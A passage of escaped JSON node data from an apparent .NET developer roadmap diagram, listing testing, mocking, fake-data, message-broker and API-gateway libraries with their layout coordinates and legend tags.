\"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 515.2293649548315,\n        \"y\": 1973.0701218212512\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TCswZHviRiu6SIOwUisu8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 661.9711685016747,\n        \"y\": 1974.0673712978817\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Respawn\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 661.9711685016747,\n        \"y\": 1974.0673712978817\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9WZmjiFowydYrkHQ2xeNm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 327.50948132668987,\n        \"y\": 2096.750904410703\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Specflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aWRv5sU9dksgcpE9RGJb1\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 327.50948132668987,\n        \"y\": 2096.750904410703\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aWRv5sU9dksgcpE9RGJb1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 327.50948132668987,\n        \"y\": 2150.750904410703\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Light BDD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 327.50948132668987,\n        \"y\": 2150.750904410703\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rcr1V3vhuilYbvgaQm7IE\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 541.8494981027027,\n        \"y\": 2050.250904410703\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Unit Testing Frameworks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"FjpBEi77yGh9oSsHdh7mf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 541.8494981027027,\n        \"y\": 2050.250904410703\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"R8C6s53RYjkRVma0nCJpy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 606.1986160843118,\n        \"y\": 2095.5613753534185\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XUnit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"236VJJjMvqHfSj-MHSDPV\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 606.1986160843118,\n        \"y\": 2095.5613753534185\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qHYBlBCvCGUZGh6gyEI63\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 689.8451259605433,\n        \"y\": 2095.5613753534185\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NUnit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 689.8451259605433,\n        \"y\": 2095.5613753534185\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TAKxVS6DfIhmSJ6oOQxOM\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 574.7823116265199,\n        \"y\": 2153.223734582062\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Assertions\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"nYOf8Q0lWnzBdGRHbdwwq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 26,\n      \"style\": {\n        \"width\": 100,\n        \"height\": 26.3497314453125\n      },\n      \"positionAbsolute\": {\n        \"x\": 574.7823116265199,\n        \"y\": 2153.223734582062\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 26\n      }\n    },\n    {\n      \"id\": \"zhn-VLGPfV6FZT2OMl6zf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 513.8451259605433,\n        \"y\": 2188.41097832855\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Shouldly\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"diRJ_F6kx42Ucs0fxidtZ\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 513.8451259605433,\n        \"y\": 2188.41097832855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nYOf8Q0lWnzBdGRHbdwwq\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 576.1665506208079,\n        \"y\": 2246.563695311414\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mocking\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 26,\n      \"style\": {\n        \"width\": 100,\n        \"height\": 26.3497314453125\n      },\n      \"positionAbsolute\": {\n        \"x\": 576.1665506208079,\n        \"y\": 2246.563695311414\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 26\n      }\n    },\n    {\n      \"id\": \"iZCxinqlVefBk5-ICqt4v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 515.2293649548313,\n        \"y\": 2286.8339739890553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NSubstitute\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"diRJ_F6kx42Ucs0fxidtZ\",\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 515.2293649548313,\n        \"y\": 2286.8339739890553\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eyOXWb1kL80Wqiwc2WHd_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 515.2293649548313,\n        \"y\": 2340.8339739890553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Moq\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"diRJ_F6kx42Ucs0fxidtZ\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 515.2293649548313,\n        \"y\": 2340.8339739890553\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"diRJ_F6kx42Ucs0fxidtZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 629.1665506208079,\n        \"y\": 2340.8339739890553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"FakeItEasy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 629.1665506208079,\n        \"y\": 2340.8339739890553\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K49M_7gSpfJuZaE6WaHxQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 327.50948132668987,\n        \"y\": 2287.0368559257836\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AutoFixture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 327.50948132668987,\n        \"y\": 2287.0368559257836\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QERTjawqCCCkHfR44Ca0s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 327.50948132668987,\n        \"y\": 2340.8339739890553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bogus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 327.50948132668987,\n        \"y\": 2340.8339739890553\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"37c2eCvRdebztkbc5AjYp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 17.45423833729052,\n        \"y\": 2063.676280366376\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Microservices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KIFmahcNiSo2NGoLtAyRR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 17.45423833729052,\n        \"y\": 2063.676280366376\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_cHDH4bo1Q_Ru9iuKaPQa\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 362.0094813266899,\n        \"y\": 1817.460323803236\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"E2E Testing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"GbK3uwt1x7Bp_rSXCHYwL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 362.0094813266899,\n        \"y\": 1817.460323803236\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"FjpBEi77yGh9oSsHdh7mf\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 558.7293649548313,\n        \"y\": 1817.460323803236\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Integration Testing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"nYOf8Q0lWnzBdGRHbdwwq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 558.7293649548313,\n        \"y\": 1817.460323803236\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"8sr7NcSsrn67x75-vYLNQ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 344.00948132668987,\n        \"y\": 2050.250904410703\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Behavior Testing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"GbK3uwt1x7Bp_rSXCHYwL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 344.00948132668987,\n        \"y\": 2050.250904410703\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"GbK3uwt1x7Bp_rSXCHYwL\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 323.50948132668987,\n        \"y\": 2236.563695311414\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Fake Data Generation\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"FjpBEi77yGh9oSsHdh7mf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 323.50948132668987,\n        \"y\": 2236.563695311414\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"eMolc0UKdEgLDFJ2FximV\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -232.74239716008708,\n        \"y\": 2052.181173440632\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Message Brokers\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 152,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -232.74239716008708,\n        \"y\": 2052.181173440632\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"sNYYEBMHV_NO_NToP51VY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -265.73144955169835,\n        \"y\": 2099.622670740455\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ActiveMQ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -265.73144955169835,\n        \"y\": 2099.622670740455\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L8RkeMYm0WGNeLLcHKF1R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -152.38897900509676,\n        \"y\": 2098.622670740455\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Kafka\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -152.38897900509676,\n        \"y\": 2098.622670740455\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"KqvBn2_wvYhFdv0dBZMC9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -265.73144955169835,\n        \"y\": 2153.622670740455\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RabbitMQ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -265.73144955169835,\n        \"y\": 2153.622670740455\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8d4f7_3VO03vy7YDWwPI9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -152.73144955169835,\n        \"y\": 2153.622670740455\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NetMQ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -152.73144955169835,\n        \"y\": 2153.622670740455\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gBuaVZfqJ0-g21sKohQtx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -265.73144955169835,\n        \"y\": 2205.56858838567\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Azure Service Bus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -265.73144955169835,\n        \"y\": 2205.56858838567\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X0hmqW8LAkhBGprxP8iBo\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -222.74239716008708,\n        \"y\": 2268.838867063311\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Message Bus\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Kq2TQn9DN1bIy9fWSSCkP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -222.74239716008708,\n        \"y\": 2268.838867063311\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"SQKIUa_UsJ4cls-Vs9yHU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.84712995368886,\n        \"y\": 2357.838867063311\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mass Transit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -263.84712995368886,\n        \"y\": 2357.838867063311\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vf8W1FLhcb3awx4JBaY5r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.84712995368886,\n        \"y\": 2304.838867063311\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NServiceBus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -263.84712995368886,\n        \"y\": 2304.838867063311\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X6iSHoHnFFMaGb6YPQFhl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.84712995368886,\n        \"y\": 2410.838867063311\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"EasyNetQ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"02rtFStTeIm8prNskxaUN\",\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -263.84712995368886,\n        \"y\": 2410.838867063311\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TY3iovpKLvTqPQmbQFTRW\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -220.21191851316905,\n        \"y\": 2470.937760229362\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"API Gateway\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Kq2TQn9DN1bIy9fWSSCkP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -220.21191851316905,\n        \"y\": 2470.937760229362\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"2k-rGuhYTTAR9XN3aDAnW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -264.38897900509687,\n        \"y\": 2510.049532546853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ocelot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -264.38897900509687,\n        \"y\": 2510.049532546853\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2axfolu26P8XwxMxgMaS3\",\n      \"type\": \"subtopic\",\n      